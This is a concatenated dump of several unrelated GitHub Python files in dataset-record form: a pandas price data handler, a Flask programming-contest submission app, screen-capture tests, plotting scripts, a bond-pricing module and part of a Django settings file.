filename[-4:] == \"json\":\r\n self.datatype = \"json\"\r\n self.raw_data = pd.read_json(self.filepath)\r\n else:\r\n self.datatype = \"csv\"\r\n self.raw_data = pd.read_csv(self.filepath)\r\n # Access start_date and end_date of raw_data\r\n self.raw_data.Date = pd.to_datetime(self.raw_data.Date)\r\n self.start_date = self.raw_data.Date.dt.date.iat[0]\r\n self.end_date = self.raw_data.Date.dt.date.iat[-1]\r\n self.raw_data = self.raw_data.set_index('Date')\r\n else:\r\n print(\"Wrong filepath or filename. Please check again!\")\r\n\r\n\r\n # Private helper function that returns price in pandas.Dataframe\r\n def __get_price(self, freq, start_date=None, end_date=None):\r\n # Get daily from raw_data\r\n if freq == \"daily\":\r\n daily = self.raw_data\r\n # Drop the columns where at least one element is missing. ?? standard way to deal with this?\r\n if self.datatype == \"json\":\r\n # bc read_json will return a DataFrame containing a string \"#N/A N/A\"\r\n # in it, we need to remove those columns just like in csv.\r\n daily = daily.loc[:, ~(self.daily == \"#N/A N/A\").any()]\r\n else:\r\n daily = daily.dropna(axis = 'columns')\r\n # If no specified start_date or end_date, use raw_data start_date and end_date\r\n if start_date is None and end_date is None:\r\n daily = daily.loc[self.start_date:self.end_date]\r\n else:\r\n daily = daily.loc[start_date:end_date]\r\n return daily\r\n # Get weekly from daily\r\n elif freq == \"weekly\":\r\n daily = self.__get_price(\"daily\", start_date, end_date)\r\n # Select\r\n weekly = daily.loc[daily.index.weekday == 2]\r\n return weekly\r\n # Get monthly price\r\n elif freq == \"monthly\":\r\n weekly = self.__get_price(\"weekly\", start_date, end_date)\r\n l = [weekly.index[0]]\r\n for d in weekly.index:\r\n if l[-1].month != d.month:\r\n l.append(d)\r\n monthly = weekly.loc[pd.DatetimeIndex(l)]\r\n return monthly\r\n\r\n\r\n # Actual function to return price in numpy.ndarray\r\n def get_price(self, freq, start_date=None, end_date=None):\r\n if freq not in [\"daily\", \"weekly\", \"monthly\"]:\r\n raise ValueError(\"Wrong FREQ value! Please recheck.\")\r\n #if start_date not in self.raw_data.Date.\r\n price = self.__get_price(freq, start_date, end_date).to_numpy()\r\n return price\r\n\r\n\r\n # Actual function that returns returns in pandas.Dataframe\r\n def get_return(self, freq, type=\"reg\", start_date=None, end_date=None):\r\n if type not in [\"reg\",\"log\"]:\r\n raise ValueError(\"Wrong FLAG value! Please recheck.\")\r\n price = self.__get_price(freq, start_date, end_date)\r\n price_return = price_2_return(price) if type == \"reg\" else price_2_log_return(price)\r\n return price_return.to_numpy()\r\n","repo_name":"luciusluo/sv_backdoor","sub_path":"Summer21/Code/Data/data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43414386611","text":"from flask import render_template, flash, redirect, session, url_for, request, g\nfrom flask.ext.login import login_user, logout_user, current_user, login_required\nfrom app import app, db, login_manager\nfrom app.forms import LoginForm, RegisterForm, UploadForm, EditUserScoreForm\nfrom app.models import User, ROLE_USER, ROLE_ADMIN, UserFile\nfrom config import ALLOWED_EXTENSIONS, UPLOAD_FOLDER, MAX_CONTENT_LENGTH, SOLUTION_TESTS_FOLDER\nfrom datetime import datetime\nfrom werkzeug import secure_filename\nimport os, subprocess, time, threading, errno, shutil\n\n@login_manager.user_loader\ndef load_user(id):\n return User.query.get(int(id))\n\n# sets current user from flask-login to g.user\n@app.before_request\ndef before_request():\n g.user = current_user\n\n@app.errorhandler(404)\ndef internal_error(error):\n return render_template('404.html'), 404\n\n@app.errorhandler(500)\ndef internal_error(error):\n db.session.rollback()\n return render_template('500.html'), 500\n\n\n@app.route('/')\n@app.route('/register' , methods=['GET','POST'])\ndef register():\n # if user is logged in, redirect them to index\n if g.user is not None and g.user.is_authenticated():\n return redirect(url_for('index'))\n form = RegisterForm()\n # tries to register user\n if form.validate_on_submit():\n new_user = User.query.filter_by(username=form.username.data).first()\n if new_user is None:\n user = User(form.username.data, form.password.data)\n\n # makes directory to store files on\n directory = os.path.join(app.config['UPLOAD_FOLDER'], 'Teams', form.username.data)\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n db.session.add(user)\n\n # creates UserFile objects to represent team submissions\n for i in range(30):\n user_file = UserFile(\n problem_number=i+1,\n status=\"Not Submitted\",\n timestamp = datetime.utcnow(),\n team = user)\n db.session.add(user_file)\n\n db.session.commit()\n\n flash('User successfully registered')\n return redirect(url_for('login'))\n else:\n form.username.errors.append('That username is already taken!')\n return render_template('register.html', form = form)\n\n@app.route('/index', methods = ['GET', 'POST'])\n@login_required\ndef index():\n user = g.user\n\n return render_template(\"index.html\",\n title = user.username,\n score = user.score,\n user = user,\n challenges = user.files)\n\n@app.route('/login', methods = ['GET', 'POST'])\ndef login():\n # if user is logged in, redirect them to index\n if g.user is not None and g.user.is_authenticated():\n return redirect(url_for('index'))\n form = LoginForm()\n # tries to login user\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n session['remember_me'] = form.remember_me.data\n registered_user = User.query.filter_by(username=username).first()\n if registered_user is not None:\n if registered_user.check_password(password):\n remember_me = False\n if 'remember_me' in session:\n remember_me = session['remember_me']\n session.pop('remember_me', None)\n login_user(registered_user, remember = remember_me)\n flash('Logged in successfully')\n return redirect(request.args.get('next') or url_for('index'))\n else:\n form.password.errors.append(\"Invalid password!\")\n else:\n form.username.errors.append(\"Invalid username!\")\n return render_template('login.html', title = 'Sign In', form = form)\n\n@app.route('/upload/', methods = ['GET', 'POST'])\n@login_required\ndef upload(problem_num):\n user = g.user\n form = UploadForm()\n if form.validate_on_submit():\n file_data = form.upload.data\n\n # renames file to username_prob_num.file_ext\n file_ext = file_data.filename.split('.')[1]\n file_name = secure_filename(user.username +\"_\"+problem_num+'.'+file_ext)\n\n if file_data and allowed_file(file_name):\n\n file_path_user_folder = os.path.join(\n app.config['UPLOAD_FOLDER'],\n \"Teams\",\n user.username,\n file_name\n )\n\n file_path_cs_java = os.path.join(\n UPLOAD_FOLDER,\n \"cs_java_files_to_grade\"\n )\n\n # if file exists, report it's still waiting to be graded\n if not os.path.isfile(file_path_user_folder):\n # saves file to folder, will delete if test failed\n file_data.save(file_path_user_folder)\n\n # changes file status\n user.files[int(problem_num)-1].status = \"Submitted\"\n db.session.commit()\n \n \"\"\" THIS SECTION NEEDS WORK:\n MAKE IT AUTO GRADE!\n\n file_ext = file_name.split('.')[1]\n # if file is cpp or python, auto grade\n if file_ext == 'py':\n if grade_submission(user, file_path_user_folder, file_name, problem_num):\n update_file_status(user, problem_num, \"Solved\")\n update_score(user, int(problem_num))\n else:\n update_file_status(user, problem_num, \"Failed\")\n os.remove(file_path_user_folder)\n # if java or cs file or cpp, save to cs_java folder to await manual grading\n else:\n\n \"\"\"\n # right now it just dumps the file into a folder to be manually graded\n copyanything(file_path_user_folder, file_path_cs_java)\n\n\n flash(\"File \" + file_name + \" uploaded successfully!\")\n return redirect(url_for('index'))\n else:\n flash(\"Your submission is waiting to be graded. Please wait until you receive feedback to submit again.\")\n else:\n flash(\"Please choose a file with extension '.cs', '.java', '.cpp', or '.py'\")\n return render_template(problem_num+'.html', title = \"Problem \"+problem_num, form = form)\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\ndef grade_submission(user, file_path, file_name, problem_num):\n test_input_path = os.path.join(\n app.config['SOLUTION_TESTS_FOLDER'],\n 'input_'+str(problem_num)+'.txt'\n )\n test_output_path = os.path.join(\n app.config['SOLUTION_TESTS_FOLDER'],\n 'output_'+str(problem_num)+'.txt'\n )\n user_output_file_path = os.path.join(\n app.config['UPLOAD_FOLDER'],\n 'grading_folder',\n user.username+'_'+str(problem_num)+'_'+'output.txt'\n )\n\n test_input = open(test_input_path, 'r')\n test_output = open(test_output_path, 'r')\n user_file_output = open(user_output_file_path, 'w+')\n\n file_ext = file_name.split('.')[1] # get the file extension\n exec_name = file_name.split('.')[0]\n\n if file_ext == 'py':\n p = subprocess.Popen(\n ['python', file_path],\n stdin=test_input,\n stdout=user_file_output\n )\n\n t = threading.Timer(60.0, timeout, [p])\n t.start()\n p.wait()\n t.cancel()\n user_file_output.flush()\n user_file_output.seek(0,0)\n\n return checkAns(user_file_output.readlines(), test_output.readlines())\n\n\n\n@app.route('/admin_update_score', methods = ['GET', 'POST'])\n@login_required\ndef admin_update_score():\n user = g.user\n allowed_statuses = [\"Solved\", \"Failed\"]\n allowed_problem_nums = range(1,31)\n form = EditUserScoreForm()\n if user.role == 1:\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.teamname.data).first()\n prob_num = form.problem_number.data\n new_status = form.status.data\n\n file_path_user_folder = os.path.join(\n app.config['UPLOAD_FOLDER'],\n \"Teams\",\n user.username\n )\n\n if user != None:\n if int(prob_num) in allowed_problem_nums:\n if new_status in allowed_statuses:\n\n #changes problem status to desired value\n update_file_status(user, prob_num, new_status)\n\n if new_status == \"Solved\":\n update_score(user, int(prob_num))\n elif new_status == \"Failed\":\n # if failed, removes file from user folder\n for user_file in os.listdir(file_path_user_folder):\n file_ext = user_file.split('.')[1]\n current_file_name = user_file.split('.')[0]\n wanted_file_name = user.username+'_'+prob_num\n if current_file_name == wanted_file_name:\n os.remove(os.path.join(file_path_user_folder, wanted_file_name+'.'+file_ext))\n break\n\n flash(\"Team \"+user.username+\" problem num \"+prob_num+\" updated to \"+new_status)\n else:\n form.status.errors.append(\"Invalid Status Update!\")\n else:\n form.problem_number.errors.append(\"Invalid problem number!\")\n else:\n form.teamname.errors.append(\"Invalid team name!\")\n return render_template(\n 'admin_update_score.html',\n form = form,\n title = \"Manual Edit\")\n else:\n redirect(url_for('index'))\n\n\"\"\" HELPER FUNCTION BLOCK \"\"\"\n# checks if file is of proper type\ndef allowed_file(file_name):\n return '.' in file_name and file_name.split('.')[-1] in ALLOWED_EXTENSIONS\n\ndef update_file_status(user, problem_num, new_status):\n file_to_update = user.files[int(problem_num)-1]\n file_to_update.status = new_status\n db.session.commit()\n\ndef update_score(user, problem_num):\n if problem_num in range(1,11):\n user.score += 10\n elif problem_num in range(11,21):\n user.score += 20\n else:\n user.score += 30\n db.session.commit()\n\ndef checkAns(user_file_output, test_output):\n for l, line in enumerate(test_output):\n if l < len(user_file_output):\n if user_file_output[l].strip() != line.strip():\n return False\n else:\n return False\n return True\n\ndef timeout(p):\n if p.poll() is None:\n try:\n p.kill()\n print('Error: process taking too long to complete--terminating')\n except OSError as e:\n if e.errno != errno.ESRCH:\n raise\n\ndef copyanything(src, dst):\n try:\n shutil.copytree(src, dst)\n except OSError as exc: # python >2.5\n if exc.errno == errno.ENOTDIR:\n shutil.copy(src, dst)\n else: raise\n","repo_name":"tdietert/Program_A_Bull","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24093098372","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nfrom PIL import ImageGrab\nfrom utils.location_finder import LocationFinder\nfrom position import coordinate\nfrom position_helper.visualize_areas import Visualizer\nfrom position.coordinate import Coordinate\n\n\n# track current players\ndef test_highlight_area(n=30):\n lf = LocationFinder(hwnd=None)\n content_area = x1, y1, x2, y2 = lf.get_window_area()\n top_left = (x1, y1)\n coor = Coordinate()\n\n for i in range(n):\n img = ImageGrab.grab(content_area)\n\n sum_list = [0] * 6\n for j in range(6):\n area = coor.get_player_highlight_areas(convert=False)[j]\n part_img = img.crop(area)\n sum_ = np.array(part_img).sum()\n sum_list[j] = sum_\n\n assert sum_list.count(0) >= 5\n if sum_list.count(0) == 5:\n print(sum_list.index(max(sum_list)))\n\n vis = Visualizer(img=img)\n vis.select_and_show_areas(coor.get_player_highlight_areas(convert=False))\n\n\ndef test_hand_number_area(n=10):\n lf = LocationFinder(hwnd=None)\n content_area = x1, y1, x2, y2 = lf.get_window_area()\n top_left = (x1, y1)\n coor = Coordinate()\n\n count = 0\n while count < n:\n img = ImageGrab.grab(content_area)\n area = coor.get_hand_number_area()[0]\n part_img = img.crop(area)\n sum_ = np.array(part_img).sum()\n if sum_ == 0:\n count += 1\n print(count)\n vis = Visualizer(img=img)\n vis.select_and_show_areas(area)\n\n\ndef main():\n # test_highlight_area()\n test_hand_number_area()\n\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"zack624/starbot","sub_path":"position_helper/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38380664840","text":"import os\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport datetime\nfrom pandas.plotting import autocorrelation_plot, lag_plot\nfrom operator import itemgetter\nimport matplotlib.ticker as ticker\nimport matplotlib.patches as mpatches\n\ndef time_series_3d():\n #greatest_variance = ['MS_winds.mat', 'charlotte.mat', 'hawaii_3.mat', 'india_1.mat', 'pacific_2.mat']\n greatest_variance = ['charlotte.mat']\n for file in greatest_variance:\n print(file)\n og_file = 'data/'+file\n og_data = pd.read_csv(og_file, header=None)\n base = datetime.datetime(2014, 1, 1, 0, 0)\n date_list = [base + datetime.timedelta(hours=x) for x in range(og_data.shape[0])]\n # og_data['date'] = date_list\n og_data = og_data.iloc[:40, :5]\n test_data = og_data.iloc[-150:, :10]\n ax = plt.figure().add_subplot(projection='3d')\n\n # Plot a sin curve using the x and y axes.\n x = og_data.index\n x_pasthistory = x[:23]\n x_input = x[22:-5]\n x_predicted = x[-6:]\n\n for col in og_data.columns:\n y = og_data[col]\n\n y_pasthistory = y[:23]\n y_input = y[22:-5]\n y_predicted = y[-6:]\n\n ax.plot(x_pasthistory, y_pasthistory, zs=col, zdir='y', label=col, color='green')\n ax.plot(x_input, y_input, zs=col, zdir='y', label=col, color='blue')\n ax.plot(x_predicted, y_predicted, zs=col, zdir='y', label=col, color='red')\n\n\n # Make legend, set axes limits and labels\n green_patch = mpatches.Patch(color='green', label='Past history')\n blue_patch = mpatches.Patch(color='blue', label='Input horizon')\n red_patch = mpatches.Patch(color='red', label='Forecast horizon', linewidth=0.1)\n ax.legend(handles=[red_patch, blue_patch, green_patch])\n # ax.set_xlim(0, 1)\n # ax.set_ylim(0, 1)\n # ax.set_zlim(0, 1)\n ax.set_xlabel('Hour')\n ax.set_ylabel('Station')\n ax.set_zlabel('Wind speed (m/s)')\n\n ax.view_init(elev=20., azim=-35)\n\n plt.show()\n\n\ndef spider_plot():\n df = pd.read_csv('output/mae_stations_def.csv', sep='&')\n import plotly.graph_objects as go\n import plotly.offline as pyo\n\n\n categories = df['dataset']\n categories = [*categories, categories[0]]\n\n mae = df['mae']\n mae_stacked = df['mae_stacked']\n \n mae = [*mae, mae[0]]\n mae_stacked = [*mae_stacked, mae_stacked[0]]\n\n\n fig = go.Figure(\n data=[\n go.Scatterpolar(r=mae, theta=categories, fill='toself', name='Base model 1 MAE'),\n go.Scatterpolar(r=mae_stacked, theta=categories, fill='toself', name='Ensemble MAE'),\n \n ],\n layout=go.Layout(\n title=go.layout.Title(text='MAE comparison'),\n polar={'radialaxis': {'visible': True}},\n showlegend=True\n )\n )\n\n pyo.plot(fig)\n\ntime_series_3d()\nspider_plot()","repo_name":"jaimeraynaud/Deep-Spatio-Temporal-Ensemble","sub_path":"visualizations.py","file_name":"visualizations.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43843261290","text":"# -*- coding: utf-8 -*-\n# @Time : 29/4/2020 11:20 AM\n# @Author : Joseph Chen\n# @Email : josephchenhk@gmail.com\n# @FileName: __init__.py.py\n# @Software: PyCharm\n\nimport pandas as pd\nfrom datetime import datetime\nfrom scipy.optimize import fsolve\n\nfrom quantkits.time.conversion import from_timeperiod_to_relativedelta\nfrom quantkits.security import Security\n\nclass Bond(Security):\n \"\"\"Bond with essential features\"\"\"\n variables = (\"N\", \"IY\", \"PMT\", \"FV\", \"PV\", \"PV0\", \"tenor\", \"issued_date\", \"maturity_date\", \"type\", \\\n \"Num_Future_Cpn_Days\", \"Days_Of_Interval\", \"Days_To_Next_Cpn_Date\", \"Yield\", \\\n \"Macaulay_Duration\", \"Modified_Duration\", \"DV01\")\n def __init__(self, **kwargs):\n for var in self.variables:\n if kwargs.get(var) is not None:\n setattr(self, var, kwargs.get(var))\n\n def _PV0(self, PMT, IY, FV, N):\n \"\"\"Initial value of the bond immediately after issue\"\"\"\n PV = 0\n for n in range(1,N+1):\n PV += PMT / (1 + IY*0.01) ** n\n PV += FV / (1 + IY*0.01) ** n\n return PV\n\n def _PV(self, PMT:float, IY:float, FV:float, Num_Future_Cpn_Days:int, Days_Of_Interval:int, Days_To_Next_Cpn_Date:int)->float:\n \"\"\"Value (dirty price) of the bond at any time before maturity\"\"\"\n PV = 0\n if Num_Future_Cpn_Days==1:\n PV = (FV + PMT) / (1 + IY * 0.01)**(Days_To_Next_Cpn_Date/Days_Of_Interval)\n return PV\n\n for n in range(1, Num_Future_Cpn_Days):\n PV += PMT / (1 + IY * 0.01) ** n\n PV += FV / (1 + IY * 0.01) ** n\n if Days_To_Next_Cpn_Date==0:\n return PV\n elif Days_To_Next_Cpn_Date>0:\n PV += PMT\n PV = PV / (1 + IY * 0.01)**(Days_To_Next_Cpn_Date/Days_Of_Interval)\n return PV\n else:\n raise ValueError(\"Days_To_Next_Cpn_Date should NOT be negative!\")\n\n def _MacDur_And_Price(self, PMT:float, Yield:float, FV:float, Days_Of_Interval:int, Days_To_Maturity:int)->float:\n \"\"\"MacDur of the bond at any time before maturity\"\"\"\n face = FV\n coupon = PMT\n discount = Yield\n maturity = Days_To_Maturity / Days_Of_Interval\n discounted_final_cf = (face + coupon) / (1 + discount) ** maturity\n dmac = discounted_final_cf * maturity\n maturity -= 1\n discounted_cf = 0\n\n while maturity > 0:\n cf = coupon / (1 + discount) ** maturity\n discounted_cf += cf\n dmac += cf * maturity\n maturity -= 1\n\n price = discounted_cf + discounted_final_cf\n dmac = dmac / price\n return dmac, price\n\n def _MacaulayDuration(self, PMT:float, Yield:float, FV:float, Days_Of_Interval:int, Days_To_Maturity:int)->float:\n \"\"\"MacDur of the bond at any time before maturity\"\"\"\n dmac, _ = self.MacDur_And_Price(PMT, Yield, FV, Days_Of_Interval, Days_To_Maturity)\n return dmac\n\n def _ModifiedDuration(self, PMT: float, Yield: float, FV: float, Days_Of_Interval: int, Days_To_Maturity: int) -> float:\n \"\"\"ModDur of the bond at any time before maturity\"\"\"\n dmac = self._MacaulayDuration(PMT, Yield, FV, Days_Of_Interval, Days_To_Maturity)\n dmod = dmac / (1 + Yield)\n return dmod\n\n def _DV01(self, PMT: float, Yield: float, FV: float, Days_Of_Interval: int, Days_To_Maturity: int) -> float:\n \"\"\"DV01 of the bond at any time before maturity\"\"\"\n dmac, price = self._MacDur_And_Price(PMT, Yield, FV, Days_Of_Interval, Days_To_Maturity)\n dmod = dmac / (1 + Yield)\n dv01 = 0.0001 * dmod * price\n return dv01\n\n def __getattr__(self, item):\n \"\"\"\"\"\"\n # >> > x = Symbol('x')\n # >> > solve(x ** 2 - 1, x)\n if item not in self.variables:\n return None\n elif item==\"PV\":\n return self._PV(PMT=self.PMT,\n IY=self.IY,\n FV=self.FV,\n Num_Future_Cpn_Days=self.Num_Future_Cpn_Days,\n Days_Of_Interval=self.Days_Of_Interval,\n Days_To_Next_Cpn_Date=self.Days_To_Next_Cpn_Date)\n elif item==\"Yield\":\n return fsolve(lambda x: self._PV(PMT=self.PMT,\n IY=x,\n FV=self.FV,\n Num_Future_Cpn_Days=self.Num_Future_Cpn_Days,\n Days_Of_Interval=self.Days_Of_Interval,\n Days_To_Next_Cpn_Date=self.Days_To_Next_Cpn_Date\n ) - self.PV, 0)[0]\n elif item==\"PV0\":\n return self._PV0(PMT=self.PMT, IY=self.IY, FV=self.FV, N=self.N)\n elif item==\"PMT\":\n return fsolve(lambda x: self._PV0(PMT=x, IY=self.IY, FV=self.FV, N=self.N)-self.PV0, 0)[0]\n elif item==\"IY\":\n return fsolve(lambda x: self._PV0(PMT=self.PMT, IY=x, FV=self.FV, N=self.N)-self.PV0, 0)[0]\n elif item==\"FV\":\n return fsolve(lambda x: self._PV0(PMT=self.PMT, IY=self.IY, FV=x, N=self.N)-self.PV0, 0)[0]\n elif item==\"N\":\n return fsolve(lambda x: self._PV0(PMT=self.PMT, IY=self.IY, FV=self.FV, N=x)-self.PV0, 0)[0]\n elif item==\"Macaulay_Duration\":\n return self._MacaulayDuration(PMT=self.PMT, Yield=self.Yield, FV=self.FV, Days_Of_Interval=self.Days_Of_Interval,\n Days_To_Maturity=self.Days_To_Maturity)\n elif item==\"Modified_Duration\":\n return self._ModifiedDuration(PMT=self.PMT, Yield=self.Yield, FV=self.FV, Days_Of_Interval=self.Days_Of_Interval,\n Days_To_Maturity=self.Days_To_Maturity)\n elif item==\"DV01\":\n return self._DV01(PMT=self.PMT, Yield=self.Yield, FV=self.FV, Days_Of_Interval=self.Days_Of_Interval,\n Days_To_Maturity=self.Days_To_Maturity)\n\n def __str__(self):\n return \"Bond[{}]\".format(self.__dict__)\n\n def __eq__(self, other):\n return self.__dict__ == other.__dict__\n\n __repr__=__str__\n\n\ndef get_all_coupon_dates(bond:Bond, freq:str=\"6M\")->list:\n \"\"\"Given a bond, and its coupon frequency, we obtain all coupon dates\"\"\"\n delta = from_timeperiod_to_relativedelta(period=freq)\n coupon_dates = []\n coupon_date = bond.issued_date + delta\n while coupon_date<=bond.maturity_date:\n coupon_dates.append(coupon_date)\n coupon_date += delta\n if coupon_dates[-1]!=bond.maturity_date:\n coupon_dates.append(bond.maturity_date)\n return coupon_dates\n\ndef get_next_coupon_date(cur_date:datetime, all_coupon_dates:list)->datetime:\n \"\"\"Given current date, get next coupon date\"\"\"\n if cur_date>all_coupon_dates[-1]:\n return None\n elif cur_date=cur_date:\n return coupon_date\n\ndef get_previous_coupon_date(cur_date:datetime, all_coupon_dates:list)->datetime:\n \"\"\"Given current date, get previous coupon date\"\"\"\n if cur_dateall_coupon_dates[-1]:\n return all_coupon_dates[-1]\n else:\n for coupon_date in reversed(all_coupon_dates):\n if coupon_dateint:\n \"\"\"Count coupon dates on or after next coupon date\"\"\"\n return sum(c >= next_coupon_date for c in all_coupon_dates)\n\ndef adjust_pv_to_current_date(cur_time:datetime, bond:Bond, data:pd.Series)->float:\n \"\"\"adjust bond price to current date\"\"\"\n if cur_time >= bond.maturity_date:\n pv = 100\n elif bond.tenor <= 12: # Treasury Bill\n remaining_period = (bond.maturity_date - cur_time).days / (bond.maturity_date - bond.issued_date).days\n pv = 100 / (1 + data[bond.tenor] * 0.01) ** (remaining_period)\n else: # Treasury Note/Bond (default semi-annual payments)\n all_coupon_dates = get_all_coupon_dates(bond, freq=\"6M\")\n next_coupon_date = get_next_coupon_date(cur_time, all_coupon_dates)\n number_of_future_coupon_dates = get_number_of_future_coupon_dates(next_coupon_date, all_coupon_dates)\n # pv at next coupon date\n pv = Bond(N=number_of_future_coupon_dates - 1, # exclude next coupon date\n IY=data[bond.tenor] * 6 / 12,\n PMT=bond.PMT,\n FV=100,\n tenor=bond.tenor,\n issued_date=bond.issued_date,\n maturity_date=bond.maturity_date).PV\n # Discount to current date (clean price)\n previous_coupon_date = get_previous_coupon_date(cur_time, all_coupon_dates)\n period_start = previous_coupon_date if previous_coupon_date else bond.issued_date\n remaining_period = (next_coupon_date - cur_time).days / (next_coupon_date - period_start).days\n pv = (pv + bond.PMT) / (1 + data[bond.tenor] * 0.01 * 6 / 12) ** (remaining_period)\n\n # Accrued interest, Assume deposit in cash (do not reinvest)\n accrued_interest = bond.PMT * (len(all_coupon_dates) - number_of_future_coupon_dates)\n\n # dirty price\n pv += accrued_interest\n return pv","repo_name":"josephchenhk/quantkits","sub_path":"quantkits/security/bond/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9463,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"21103792752","text":"\"\"\"\n:Created: 26 July 2015\n:Author: Lucas Connors\n\n\"\"\"\n\nimport os\n\nimport requests\nimport sentry_sdk\nfrom configurations import Configuration, values\nfrom sentry_sdk.integrations.django import DjangoIntegration\n\n\ndef aws_s3_bucket_url(settings_class, bucket_name_settings):\n bucket_name = getattr(settings_class, bucket_name_settings, \"\")\n if bucket_name:\n return f\"https://{bucket_name}.s3.amazonaws.com\"\n return \"\"\n\n\nclass BaseConfig(Configuration):\n\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n SECRET_KEY = values.SecretValue(environ_prefix=\"PERDIEM\")\n DEBUG = True\n ACCEPTABLE_HOSTS = [\"localhost\", \"127.0.0.1\", \".investperdiem.com\"]\n\n @property\n def ALLOWED_HOSTS(self):\n # Get cached ALLOWED_HOSTS setting, if available\n if hasattr(self, \"_ALLOWED_HOSTS\"):\n return self._ALLOWED_HOSTS\n\n # When DEBUG == True, ALLOWED_HOSTS is just ACCEPTABLE_HOSTS\n if self.DEBUG:\n self._ALLOWED_HOSTS = self.ACCEPTABLE_HOSTS\n return self._ALLOWED_HOSTS\n\n # Otherwise, add EC2 IP to ACCEPTABLE_HOSTS\n hosts = self.ACCEPTABLE_HOSTS\n try:\n ec2_ip = requests.get(\n \"http://169.254.169.254/latest/meta-data/local-ipv4\", timeout=0.01\n ).text\n except requests.exceptions.RequestException:\n pass\n else:\n hosts.append(ec2_ip)\n self._ALLOWED_HOSTS = hosts\n return hosts\n\n # Application definition\n INSTALLED_APPS = (\n \"django.contrib.admin\",\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"django.contrib.sessions\",\n \"django.contrib.messages\",\n \"whitenoise.runserver_nostatic\",\n \"django.contrib.staticfiles\",\n \"django.contrib.sites\",\n \"django.contrib.humanize\",\n \"sorl.thumbnail\",\n \"django_s3_storage\",\n \"rest_framework\",\n \"social_django\",\n \"pinax.stripe\",\n \"markdown_deux\",\n \"pagedown\",\n \"accounts.apps.AccountsConfig\",\n \"api.apps.ApiConfig\",\n \"artist.apps.ArtistConfig\",\n \"campaign.apps.CampaignConfig\",\n \"emails.apps.EmailsConfig\",\n \"music.apps.MusicConfig\",\n )\n MIDDLEWARE = [\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.middleware.common.CommonMiddleware\",\n \"django.middleware.csrf.CsrfViewMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n \"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n \"django.middleware.security.SecurityMiddleware\",\n \"whitenoise.middleware.WhiteNoiseMiddleware\",\n \"social_django.middleware.SocialAuthExceptionMiddleware\",\n \"accounts.middleware.LoginFormMiddleware\",\n ]\n ROOT_URLCONF = \"perdiem.urls\"\n SITE_ID = 1\n\n TEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n \"DIRS\": [os.path.join(BASE_DIR, \"templates\")],\n \"APP_DIRS\": True,\n \"OPTIONS\": {\n \"context_processors\": [\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.contrib.messages.context_processors.messages\",\n \"social_django.context_processors.backends\",\n \"social_django.context_processors.login_redirect\",\n \"perdiem.context_processors.request\",\n \"accounts.context_processors.keys\",\n \"accounts.context_processors.profile\",\n ]\n },\n }\n ]\n WSGI_APPLICATION = \"perdiem.wsgi.application\"\n\n # Cache and Database\n CACHES = {\n \"default\": {\n \"BACKEND\": \"django.core.cache.backends.memcached.MemcachedCache\",\n \"LOCATION\": \"127.0.0.1:11211\",\n }\n }\n\n DB_NAME = values.Value(environ_prefix=\"PERDIEM\", environ_required=True)\n DB_USER = values.Value(environ_prefix=\"PERDIEM\", environ_required=True)\n DB_PASSWORD = values.Value(environ_prefix=\"PERDIEM\", environ_required=True)\n DB_HOST = values.Value(environ_prefix=\"PERDIEM\", environ_required=True)\n\n @property\n def DATABASES(self):\n return {\n \"default\": {\n \"ENGINE\": \"django.db.backends.postgresql_psycopg2\",\n \"NAME\": self.DB_NAME,\n \"USER\": self.DB_USER,\n \"PASSWORD\": self.DB_PASSWORD,\n \"HOST\": self.DB_HOST,\n \"PORT\": \"5432\",\n }\n }\n\n # Internationalization\n TIME_ZONE = \"UTC\"\n USE_L10N = True\n USE_TZ = True\n\n # Static files (CSS, JavaScript, Images)\n MEDIA_ROOT = os.path.join(BASE_DIR, \"media\")\n STATICFILES_STORAGE = \"whitenoise.storage.CompressedManifestStaticFilesStorage\"\n STATIC_ROOT = os.path.join(BASE_DIR, \"staticfiles\")\n STATICFILES_DIRS = (os.path.join(BASE_DIR, \"static\"),)\n AWS_S3_KEY_PREFIX = \"media\"\n AWS_S3_KEY_PREFIX_STATIC = \"static\"\n AWS_S3_BUCKET_AUTH = False\n AWS_S3_MAX_AGE_SECONDS = 60 * 60 * 24 * 365 # 1 year\n MAXIMUM_AVATAR_SIZE = 2 * 1024 * 1024 # 2MB\n\n @property\n def MEDIA_URL(self):\n return \"{aws_s3}/{media}/\".format(\n aws_s3=aws_s3_bucket_url(self, \"AWS_S3_BUCKET_NAME\"),\n media=self.AWS_S3_KEY_PREFIX,\n )\n\n @property\n def STATIC_URL(self):\n return \"{aws_s3}/{static}/\".format(\n aws_s3=aws_s3_bucket_url(self, \"AWS_S3_BUCKET_NAME_STATIC\"),\n static=self.AWS_S3_KEY_PREFIX_STATIC,\n )\n\n # Markdown\n MARKDOWN_DEUX_STYLES = {\n \"default\": {\"extras\": {\"code-friendly\": None}, 